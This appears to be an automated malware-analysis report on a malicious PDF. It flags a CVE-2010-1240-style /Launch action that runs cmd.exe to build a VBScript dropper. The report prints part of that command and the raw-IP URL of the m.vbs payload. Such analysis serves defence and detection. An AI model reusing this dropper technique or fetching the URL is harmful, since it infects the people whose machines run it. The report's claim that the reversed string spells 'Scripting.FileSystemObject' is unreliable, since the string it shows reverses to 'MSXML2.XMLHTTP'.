PDF malware analysis — malicious · c8b31e14f8207cf5

MALICIOUS

PDF

804 B

MD5: 2ef6230443e8d56383370ed5612e34c5 SHA-1: 482893ea28a93f0a05d2bc1601cc31842820831b SHA-256: c8b31e14f8207cf54e333c61ff3987bb8e020cb8aa169e1871715640ea32060d

210 Risk Score

Malware Insights

MITRE ATT&CK

T1204 Malicious Link T1204.002 Malicious Link: Malicious File T1059 Command and Scripting Interpreter T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.005 Command and Scripting Interpreter: Visual Basic

The PDF file contains a launch action that executes cmd.exe, which in turn uses VBScript to download and execute a malicious VBS file from the URL http://193.105.174.53/sples/tmp/m.vbs. The VBScript is constructed using string concatenation, specifically 'PTTHLMX.2LMXSM' which when reversed becomes 'Scripting.FileSystemObject', indicating a dropper functionality. This is further supported by the CVE-2010-1240 heuristic firing.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER

PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://193.105.174.53/sples/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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